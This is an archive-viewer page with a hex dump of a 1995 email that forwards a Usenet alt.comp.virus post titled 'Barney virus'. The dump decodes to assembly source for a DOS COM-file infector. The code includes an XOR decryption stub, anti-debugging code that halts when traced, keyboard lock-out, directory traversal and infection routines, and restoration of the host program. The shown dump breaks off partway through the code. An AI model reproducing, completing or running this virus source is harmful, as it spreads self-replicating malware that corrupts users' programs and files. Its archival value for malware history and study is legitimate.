home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: barney.asm
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
| 100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
| 100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
| 1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
| 1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
| 100%
| file
| Mailbox text, 1st line "From smtp Tue Feb 7 13:16 EST 1995", ASCII text, with CRLF, CR line terminators
| default
| |
| 100%
| TrID
| E-Mail message (Var. 2)
| default
| |
| 100%
| checkBytes
| Printable ASCII
| default
| |
| 100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
| 100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
| 100%
| detectItEasy
| Format: plain text[CRLF]
| default (weak)
| |
| 100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 54 75 65 20 46 65 |From smt|p Tue Fe|
|00000010| 62 20 20 37 20 31 33 3a | 31 36 20 45 53 54 20 31 |b 7 13:|16 EST 1|
|00000020| 39 39 35 0d 0d 0a 52 65 | 63 65 69 76 65 64 3a 20 |995...Re|ceived: |
|00000030| 66 72 6f 6d 20 6c 79 6e | 78 2e 64 61 63 2e 6e 65 |from lyn|x.dac.ne|
|00000040| 75 2e 65 64 75 20 62 79 | 20 50 4f 42 4f 58 2e 6a |u.edu by| POBOX.j|
|00000050| 77 75 2e 65 64 75 3b 20 | 54 75 65 2c 20 20 37 20 |wu.edu; |Tue, 7 |
|00000060| 46 65 62 20 39 35 20 31 | 33 3a 31 36 20 45 53 54 |Feb 95 1|3:16 EST|
|00000070| 0d 0d 0a 52 65 63 65 69 | 76 65 64 3a 20 62 79 20 |...Recei|ved: by |
|00000080| 6c 79 6e 78 2e 64 61 63 | 2e 6e 65 75 2e 65 64 75 |lynx.dac|.neu.edu|
|00000090| 20 28 38 2e 36 2e 39 2f | 38 2e 36 2e 39 29 20 0d | (8.6.9/|8.6.9) .|
|000000a0| 0d 0a 20 20 20 20 20 69 | 64 20 4e 41 41 30 38 33 |.. i|d NAA083|
|000000b0| 36 32 20 66 6f 72 20 6a | 6f 73 68 75 61 77 40 70 |62 for j|oshuaw@p|
|000000c0| 6f 62 6f 78 2e 6a 77 75 | 2e 65 64 75 3b 20 54 75 |obox.jwu|.edu; Tu|
|000000d0| 65 2c 20 37 20 46 65 62 | 20 31 39 39 35 20 31 33 |e, 7 Feb| 1995 13|
|000000e0| 3a 31 39 3a 33 38 20 2d | 30 35 30 30 0d 0d 0a 44 |:19:38 -|0500...D|
|000000f0| 61 74 65 3a 20 54 75 65 | 2c 20 37 20 46 65 62 20 |ate: Tue|, 7 Feb |
|00000100| 31 39 39 35 20 31 33 3a | 31 39 3a 33 38 20 2d 30 |1995 13:|19:38 -0|
|00000110| 35 30 30 0d 0d 0a 46 72 | 6f 6d 3a 20 6c 79 6e 78 |500...Fr|om: lynx|
|00000120| 2e 64 61 63 2e 6e 65 75 | 2e 65 64 75 21 65 6b 69 |.dac.neu|.edu!eki|
|00000130| 6c 62 79 20 28 45 72 69 | 63 20 4b 69 6c 62 79 29 |lby (Eri|c Kilby)|
|00000140| 0d 0d 0a 43 6f 6e 74 65 | 6e 74 2d 4c 65 6e 67 74 |...Conte|nt-Lengt|
|00000150| 68 3a 20 38 38 37 38 0d | 0d 0a 43 6f 6e 74 65 6e |h: 8878.|..Conten|
|00000160| 74 2d 54 79 70 65 3a 20 | 74 65 78 74 0d 0d 0a 4d |t-Type: |text...M|
|00000170| 65 73 73 61 67 65 2d 49 | 64 3a 20 3c 31 39 39 35 |essage-I|d: <1995|
|00000180| 30 32 30 37 31 38 31 39 | 2e 4e 41 41 30 38 33 36 |02071819|.NAA0836|
|00000190| 32 40 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |2@lynx.d|ac.neu.e|
|000001a0| 64 75 3e 0d 0d 0a 54 6f | 3a 20 70 6f 62 6f 78 2e |du>...To|: pobox.|
|000001b0| 6a 77 75 2e 65 64 75 21 | 6a 6f 73 68 75 61 77 20 |jwu.edu!|joshuaw |
|000001c0| 0d 0d 0a 53 75 62 6a 65 | 63 74 3a 20 28 66 77 64 |...Subje|ct: (fwd|
|000001d0| 29 20 42 61 72 6e 65 79 | 20 76 69 72 75 73 0d 0d |) Barney| virus..|
|000001e0| 0a 4e 65 77 73 67 72 6f | 75 70 73 3a 20 61 6c 74 |.Newsgro|ups: alt|
|000001f0| 2e 63 6f 6d 70 2e 76 69 | 72 75 73 0d 0d 0a 53 74 |.comp.vi|rus...St|
|00000200| 61 74 75 73 3a 20 4f 0d | 0d 0a 0d 0d 0a 50 61 74 |atus: O.|.....Pat|
|00000210| 68 3a 20 63 68 61 6f 73 | 2e 64 61 63 2e 6e 65 75 |h: chaos|.dac.neu|
|00000220| 2e 65 64 75 21 75 73 65 | 6e 65 74 2e 65 65 6c 2e |.edu!use|net.eel.|
|00000230| 75 66 6c 2e 65 64 75 21 | 75 73 65 6e 65 74 2e 63 |ufl.edu!|usenet.c|
|00000240| 69 73 2e 75 66 6c 2e 65 | 64 75 21 63 61 65 6e 21 |is.ufl.e|du!caen!|
|00000250| 6e 65 77 73 78 66 65 72 | 2e 69 74 64 2e 75 6d 69 |newsxfer|.itd.umi|
|00000260| 63 68 2e 65 64 75 21 61 | 67 61 74 65 21 68 6f 77 |ch.edu!a|gate!how|
|00000270| 6c 61 6e 64 2e 72 65 73 | 74 6f 6e 2e 61 6e 73 2e |land.res|ton.ans.|
|00000280| 6e 65 74 21 6e 65 77 73 | 2e 73 70 72 69 6e 74 6c |net!news|.sprintl|
|00000290| 69 6e 6b 2e 6e 65 74 21 | 75 75 6e 65 74 21 61 6e |ink.net!|uunet!an|
|000002a0| 6b 68 2e 69 69 61 2e 6f | 72 67 21 64 61 6e 69 73 |kh.iia.o|rg!danis|
|000002b0| 68 6d 0d 0d 0a 46 72 6f | 6d 3a 20 64 61 6e 69 73 |hm...Fro|m: danis|
|000002c0| 68 6d 40 69 69 61 2e 6f | 72 67 20 28 29 0d 0d 0a |hm@iia.o|rg ()...|
|000002d0| 4e 65 77 73 67 72 6f 75 | 70 73 3a 20 61 6c 74 2e |Newsgrou|ps: alt.|
|000002e0| 63 6f 6d 70 2e 76 69 72 | 75 73 0d 0d 0a 53 75 62 |comp.vir|us...Sub|
|000002f0| 6a 65 63 74 3a 20 42 61 | 72 6e 65 79 20 76 69 72 |ject: Ba|rney vir|
|00000300| 75 73 0d 0d 0a 44 61 74 | 65 3a 20 35 20 46 65 62 |us...Dat|e: 5 Feb|
|00000310| 20 31 39 39 35 20 32 32 | 3a 30 36 3a 34 37 20 47 | 1995 22|:06:47 G|
|00000320| 4d 54 0d 0d 0a 4f 72 67 | 61 6e 69 7a 61 74 69 6f |MT...Org|anizatio|
|00000330| 6e 3a 20 49 6e 74 65 72 | 6e 61 74 69 6f 6e 61 6c |n: Inter|national|
|00000340| 20 49 6e 74 65 72 6e 65 | 74 20 41 73 73 6f 63 69 | Interne|t Associ|
|00000350| 61 74 69 6f 6e 2e 0d 0d | 0a 4c 69 6e 65 73 3a 20 |ation...|.Lines: |
|00000360| 32 39 31 0d 0d 0a 4d 65 | 73 73 61 67 65 2d 49 44 |291...Me|ssage-ID|
|00000370| 3a 20 3c 33 68 33 69 35 | 6e 24 76 34 40 61 6e 6b |: <3h3i5|n$v4@ank|
|00000380| 68 2e 69 69 61 2e 6f 72 | 67 3e 0d 0d 0a 4e 4e 54 |h.iia.or|g>...NNT|
|00000390| 50 2d 50 6f 73 74 69 6e | 67 2d 48 6f 73 74 3a 20 |P-Postin|g-Host: |
|000003a0| 69 69 61 2e 6f 72 67 0d | 0d 0a 58 2d 4e 65 77 73 |iia.org.|..X-News|
|000003b0| 72 65 61 64 65 72 3a 20 | 54 49 4e 20 5b 76 65 72 |reader: |TIN [ver|
|000003c0| 73 69 6f 6e 20 31 2e 32 | 20 50 4c 32 5d 0d 0d 0a |sion 1.2| PL2]...|
|000003d0| 0d 0d 0a 48 65 72 65 20 | 69 73 20 74 68 65 20 42 |...Here |is the B|
|000003e0| 61 72 6e 65 79 20 76 69 | 72 75 73 3a 0d 0d 0a 0d |arney vi|rus:....|
|000003f0| 0d 0a 0d 0d 0a 3b 20 42 | 61 72 6e 65 79 20 76 69 |.....; B|arney vi|
|00000400| 72 75 73 0d 0d 0a 50 49 | 4e 47 20 20 20 20 20 20 |rus...PI|NG |
|00000410| 20 20 20 20 20 20 65 71 | 75 20 20 20 20 20 30 46 | eq|u 0F|
|00000420| 39 32 46 68 0d 0d 0a 49 | 4e 46 45 43 54 20 20 20 |92Fh...I|NFECT |
|00000430| 20 20 20 20 20 20 20 65 | 71 75 20 20 20 20 20 31 | e|qu 1|
|00000440| 0d 0d 0a 0d 0d 0a 63 6f | 64 65 20 20 20 20 20 20 |......co|de |
|00000450| 20 20 20 20 20 20 73 65 | 67 6d 65 6e 74 0d 0d 0a | se|gment...|
|00000460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000470| 6f 72 67 20 20 20 20 20 | 31 30 30 68 0d 0d 0a 20 |org |100h... |
|00000480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 61 | | a|
|00000490| 73 73 75 6d 65 20 20 63 | 73 3a 63 6f 64 65 2c 64 |ssume c|s:code,d|
|000004a0| 73 3a 63 6f 64 65 0d 0d | 0a 0d 0d 0a 73 74 61 72 |s:code..|....star|
|000004b0| 74 3a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |t:... | |
|000004c0| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 30 45 39 | db | 0E9|
|000004d0| 68 2c 33 2c 30 20 20 20 | 20 20 20 20 20 20 20 3b |h,3,0 | ;|
|000004e0| 20 74 6f 20 76 69 72 75 | 73 0d 0d 0a 68 6f 73 74 | to viru|s...host|
|000004f0| 3a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |:... | |
|00000500| 20 20 20 20 64 62 20 20 | 20 20 20 20 30 43 44 68 | db | 0CDh|
|00000510| 2c 32 30 68 2c 30 20 20 | 20 20 20 20 20 20 3b 20 |,20h,0 | ; |
|00000520| 68 6f 73 74 20 70 72 6f | 67 72 61 6d 0d 0d 0a 76 |host pro|gram...v|
|00000530| 69 72 75 73 5f 62 65 67 | 69 6e 3a 0d 0d 0a 0d 0d |irus_beg|in:.....|
|00000540| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000550| 20 6d 6f 76 20 20 20 20 | 20 64 78 2c 56 49 52 55 | mov | dx,VIRU|
|00000560| 53 5f 53 49 5a 45 20 2f | 20 32 20 2b 20 31 0d 0d |S_SIZE /| 2 + 1..|
|00000570| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000580| 20 64 62 20 20 20 20 20 | 20 30 42 42 68 20 20 20 | db | 0BBh |
|00000590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000005a0| 20 3b 20 64 65 63 72 79 | 70 74 69 6f 6e 20 6d 6f | ; decry|ption mo|
|000005b0| 64 75 6c 65 0d 0d 0a 63 | 6f 64 65 5f 6f 66 66 73 |dule...c|ode_offs|
|000005c0| 65 74 20 20 20 20 20 64 | 77 20 20 20 20 20 20 6f |et d|w o|
|000005d0| 66 66 73 65 74 20 76 69 | 72 75 73 5f 63 6f 64 65 |ffset vi|rus_code|
|000005e0| 0d 0d 0a 0d 0d 0a 64 65 | 63 72 79 70 74 3a 0d 0d |......de|crypt:..|
|000005f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000600| 20 64 62 20 20 20 20 20 | 20 30 32 45 68 2c 30 38 | db | 02Eh,08|
|00000610| 31 68 2c 33 37 68 20 20 | 20 20 20 20 20 20 20 20 |1h,37h | |
|00000620| 20 3b 20 58 4f 52 20 43 | 53 3a 5b 42 58 5d 0d 0d | ; XOR C|S:[BX]..|
|00000630| 0a 63 69 70 68 65 72 20 | 20 20 20 20 20 20 20 20 |.cipher | |
|00000640| 20 64 77 20 20 20 20 20 | 20 30 0d 0d 0a 20 20 20 | dw | 0... |
|00000650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 63 | | inc|
|00000660| 20 20 20 20 20 62 78 0d | 0d 0a 20 20 20 20 20 20 | bx.|.. |
|00000670| 20 20 20 20 20 20 20 20 | 20 20 69 6e 63 20 20 20 | | inc |
|00000680| 20 20 62 78 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | bx... | |
|00000690| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 64 | d|ec d|
|000006a0| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |x... | |
|000006b0| 20 20 20 20 6a 6e 7a 20 | 20 20 20 20 64 65 63 72 | jnz | decr|
|000006c0| 79 70 74 0d 0d 0a 0d 0d | 0a 0d 0d 0a 76 69 72 75 |ypt.....|....viru|
|000006d0| 73 5f 63 6f 64 65 3a 0d | 0d 0a 20 20 20 20 20 20 |s_code:.|.. |
|000006e0| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|000006f0| 20 20 24 20 2b 20 33 20 | 20 20 20 20 20 20 20 20 | $ + 3 | |
|00000700| 20 20 20 20 3b 20 42 50 | 20 69 73 20 69 6e 73 74 | ; BP| is inst|
|00000710| 72 75 63 74 69 6f 6e 20 | 70 74 72 2e 0d 0d 0a 20 |ruction |ptr.... |
|00000720| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00000730| 6f 70 20 20 20 20 20 62 | 70 0d 0d 0a 20 20 20 20 |op b|p... |
|00000740| 20 20 20 20 20 20 20 20 | 20 20 20 20 73 75 62 20 | | sub |
|00000750| 20 20 20 20 62 70 2c 6f | 66 66 73 65 74 20 24 20 | bp,o|ffset $ |
|00000760| 2d 20 31 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |- 1.....|. |
|00000770| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|00000780| 20 64 73 20 65 73 0d 0d | 0a 0d 0d 0a 20 20 20 20 | ds es..|.... |
|00000790| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6c 69 0d | | cli.|
|000007a0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000007b0| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 50 49 4e | mov | ax,PIN|
|000007c0| 47 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6d 69 |G | ; mi|
|000007d0| 6c 64 20 61 6e 74 69 2d | 74 72 61 63 65 20 63 6f |ld anti-|trace co|
|000007e0| 64 65 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |de... | |
|000007f0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 61 78 0d | pus|h ax.|
|00000800| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000810| 20 20 70 6f 70 20 20 20 | 20 20 61 78 0d 0d 0a 20 | pop | ax... |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 64 | | d|
|00000830| 65 63 20 20 20 20 20 73 | 70 0d 0d 0a 20 20 20 20 |ec s|p... |
|00000840| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 65 63 20 | | dec |
|00000850| 20 20 20 20 73 70 0d 0d | 0a 20 20 20 20 20 20 20 | sp..|. |
|00000860| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 | | pop |
|00000870| 20 62 78 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | bx... | |
|00000880| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 78 | cm|p ax|
|00000890| 2c 62 78 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |,bx... | |
|000008a0| 20 20 20 20 20 20 6a 65 | 20 20 20 20 20 20 6e 6f | je| no|
|000008b0| 5f 74 72 61 63 65 0d 0d | 0a 20 20 20 20 20 20 20 |_trace..|. |
|000008c0| 20 20 20 20 20 20 20 20 | 20 68 6c 74 0d 0d 0a 0d | | hlt....|
|000008d0| 0d 0a 6e 6f 5f 74 72 61 | 63 65 3a 0d 0d 0a 20 20 |..no_tra|ce:... |
|000008e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 73 74 | | st|
|000008f0| 69 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |i... | |
|00000900| 20 20 20 20 69 6e 20 20 | 20 20 20 20 61 6c 2c 32 | in | al,2|
|00000910| 31 68 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |1h | ; |
|00000920| 6c 6f 63 6b 20 6f 75 74 | 20 26 20 72 65 6f 70 65 |lock out| & reope|
|00000930| 6e 20 6b 65 79 62 6f 61 | 72 64 0d 0d 0a 20 20 20 |n keyboa|rd... |
|00000940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00000950| 20 20 20 20 20 61 6c 2c | 32 0d 0d 0a 20 20 20 20 | al,|2... |
|00000960| 20 20 20 20 20 20 20 20 | 20 20 20 20 6f 75 74 20 | | out |
|00000970| 20 20 20 20 32 31 68 2c | 61 6c 0d 0d 0a 20 20 20 | 21h,|al... |
|00000980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00000990| 20 20 20 20 20 61 6c 2c | 32 0d 0d 0a 20 20 20 20 | al,|2... |
|000009a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6f 75 74 20 | | out |
|000009b0| 20 20 20 20 32 31 68 2c | 61 6c 0d 0d 0a 0d 0d 0a | 21h,|al......|
|000009c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000009d0| 6c 65 61 20 20 20 20 20 | 64 78 2c 5b 62 70 20 2b |lea |dx,[bp +|
|000009e0| 20 6f 66 66 73 65 74 20 | 6e 65 77 5f 44 54 41 5d | offset |new_DTA]|
|000009f0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000a00| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 31 41 | mov | ah,1A|
|00000a10| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h... | |
|00000a20| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0d | int | 21h.|
|00000a30| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00000a40| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 79 74 | mov| byt|
|00000a50| 65 20 70 74 72 20 5b 62 | 70 20 2b 20 69 6e 66 65 |e ptr [b|p + infe|
|00000a60| 63 74 69 6f 6e 73 5d 2c | 30 0d 0d 0a 0d 0d 0a 20 |ctions],|0...... |
|00000a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00000a80| 61 6c 6c 20 20 20 20 74 | 72 61 76 65 72 73 65 0d |all t|raverse.|
|00000a90| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00000aa0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 65 73 20 | pop| es |
|00000ab0| 64 73 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ds... | |
|00000ac0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c | mov| dx,|
|00000ad0| 38 30 68 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |80h... | |
|00000ae0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 | mo|v ah|
|00000af0| 2c 31 41 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |,1Ah... | |
|00000b00| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00000b10| 31 68 0d 0d 0a 0d 0d 0a | 63 6f 6d 5f 65 78 69 74 |1h......|com_exit|
|00000b20| 3a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |:... | |
|00000b30| 20 20 20 20 6c 65 61 20 | 20 20 20 20 73 69 2c 5b | lea | si,[|
|00000b40| 62 70 20 2b 20 68 6f 73 | 74 5d 20 20 20 20 20 20 |bp + hos|t] |
|00000b50| 20 20 20 20 3b 20 72 65 | 73 74 6f 72 65 20 68 6f | ; re|store ho|
|00000b60| 73 74 20 70 72 6f 67 72 | 61 6d 0d 0d 0a 20 20 20 |st progr|am... |
|00000b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00000b80| 20 20 20 20 20 64 69 2c | 31 30 30 68 0d 0d 0a 20 | di,|100h... |
|00000b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00000ba0| 75 73 68 20 20 20 20 64 | 69 0d 0d 0a 20 20 20 20 |ush d|i... |
|00000bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 73 | | movs|
|00000bc0| 77 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |w... | |
|00000bd0| 20 20 20 20 6d 6f 76 73 | 62 0d 0d 0a 0d 0d 0a 20 | movs|b...... |
|00000be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00000bf0| 61 6c 6c 20 20 20 20 66 | 69 78 5f 72 65 67 73 20 |all f|ix_regs |
|00000c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000c10| 20 66 69 78 20 75 70 20 | 72 65 67 69 73 74 65 72 | fix up |register|
|00000c20| 73 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |s... | |
|00000c30| 20 20 20 20 72 65 74 20 | 20 20 20 20 20 20 20 20 | ret | |
|00000c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000c50| 20 20 20 20 3b 20 61 6e | 64 20 6c 65 61 76 65 0d | ; an|d leave.|
|00000c60| 0d 0a 0d 0d 0a 66 69 78 | 5f 72 65 67 73 3a 0d 0d |.....fix|_regs:..|
|00000c70| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000c80| 20 78 6f 72 20 20 20 20 | 20 61 78 2c 61 78 0d 0d | xor | ax,ax..|
|00000c90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000ca0| 20 63 77 64 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | cwd... | |
|00000cb0| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 62 | x|or b|
|00000cc0| 78 2c 62 78 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |x,bx... | |
|00000cd0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 73 | m|ov s|
|00000ce0| 69 2c 31 30 30 68 0d 0d | 0a 20 20 20 20 20 20 20 |i,100h..|. |
|00000cf0| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00000d00| 20 64 69 2c 64 69 0d 0d | 0a 20 20 20 20 20 20 20 | di,di..|. |
|00000d10| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00000d20| 20 62 70 2c 62 70 0d 0d | 0a 20 20 20 20 20 20 20 | bp,bp..|. |
|00000d30| 20 20 20 20 20 20 20 20 | 20 72 65 74 0d 0d 0a 0d | | ret....|
|00000d40| 0d 0a 0d 0d 0a 74 72 61 | 76 65 72 73 65 3a 0d 0d |.....tra|verse:..|
|00000d50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000d60| 20 73 75 62 20 20 20 20 | 20 73 70 2c 36 34 20 20 | sub | sp,64 |
|00000d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000d80| 20 3b 20 61 6c 6c 6f 63 | 61 74 65 20 73 74 61 63 | ; alloc|ate stac|
|00000d90| 6b 20 73 70 61 63 65 0d | 0d 0a 20 20 20 20 20 20 |k space.|.. |
|00000da0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00000db0| 20 20 73 69 2c 73 70 0d | 0d 0a 20 20 20 20 20 20 | si,sp.|.. |
|00000dc0| 20 20 20 20 20 20 20 20 | 20 20 69 6e 63 20 20 20 | | inc |
|00000dd0| 20 20 73 69 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | si... | |
|00000de0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00000df0| 68 2c 34 37 68 20 20 20 | 20 20 20 20 20 20 20 20 |h,47h | |
|00000e00| 20 20 20 20 20 20 20 3b | 20 67 65 74 20 63 75 72 | ;| get cur|
|00000e10| 72 65 6e 74 20 64 69 72 | 65 63 74 6f 72 79 0d 0d |rent dir|ectory..|
|00000e20| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000e30| 20 78 6f 72 20 20 20 20 | 20 64 6c 2c 64 6c 0d 0d | xor | dl,dl..|
|00000e40| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000e50| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0d 0d 0a 0d | int | 21h....|
|00000e60| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000e70| 20 20 64 65 63 20 20 20 | 20 20 73 69 0d 0d 0a 20 | dec | si... |
|00000e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00000e90| 6f 76 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ov b|yte ptr |
|00000ea0| 73 73 3a 5b 73 69 5d 2c | 27 5c 27 20 3b 20 66 69 |ss:[si],|'\' ; fi|
|00000eb0| 78 20 64 69 72 65 63 74 | 6f 72 79 0d 0d 0a 0d 0d |x direct|ory.....|
|00000ec0| 0a 6e 65 78 74 5f 64 69 | 72 3a 0d 0d 0a 20 20 20 |.next_di|r:... |
|00000ed0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c | | cal|
|00000ee0| 6c 20 20 20 20 69 6e 66 | 65 63 74 5f 64 69 72 0d |l inf|ect_dir.|
|00000ef0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00000f00| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 62 79 74 | cmp| byt|
|00000f10| 65 20 70 74 72 20 5b 62 | 70 20 2b 20 69 6e 66 65 |e ptr [b|p + infe|
|00000f20| 63 74 69 6f 6e 73 5d 2c | 49 4e 46 45 43 54 0d 0d |ctions],|INFECT..|
|00000f30| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000f40| 20 6a 65 20 20 20 20 20 | 20 74 72 61 76 65 72 73 | je | travers|
|00000f50| 65 5f 64 6f 6e 65 0d 0d | 0a 0d 0d 0a 20 20 20 20 |e_done..|.... |
|00000f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 6c 65 61 20 | | lea |
|00000f70| 20 20 20 20 64 78 2c 5b | 62 70 20 2b 20 6f 75 74 | dx,[|bp + out|
|00000f80| 65 72 5d 20 20 20 20 20 | 20 20 20 20 3b 20 72 65 |er] | ; re|
|00000f90| 70 65 61 74 20 69 6e 20 | 6e 65 78 74 20 64 69 72 |peat in |next dir|
|00000fa0| 20 75 70 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | up... | |
|00000fb0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 | mo|v ah|
|00000fc0| 2c 33 42 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |,3Bh... | |
|00000fd0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00000fe0| 31 68 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |1h... | |
|00000ff0| 20 20 20 20 20 6a 6e 63 | 20 20 20 20 20 6e 65 78 | jnc| nex|
|00001000| 74 5f 64 69 72 0d 0d 0a | 0d 0d 0a 74 72 61 76 65 |t_dir...|...trave|
|00001010| 72 73 65 5f 64 6f 6e 65 | 3a 0d 0d 0a 20 20 20 20 |rse_done|:... |
|00001020| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 64 64 20 | | add |
|00001030| 20 20 20 20 73 70 2c 36 | 34 20 20 20 20 20 20 20 | sp,6|4 |
|00001040| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 72 65 | | ; re|
|00001050| 73 65 74 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |set... | |
|00001060| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 | mo|v dx|
|00001070| 2c 73 69 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |,si... | |
|00001080| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 | mo|v ah|
|00001090| 2c 33 42 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |,3Bh... | |
|000010a0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
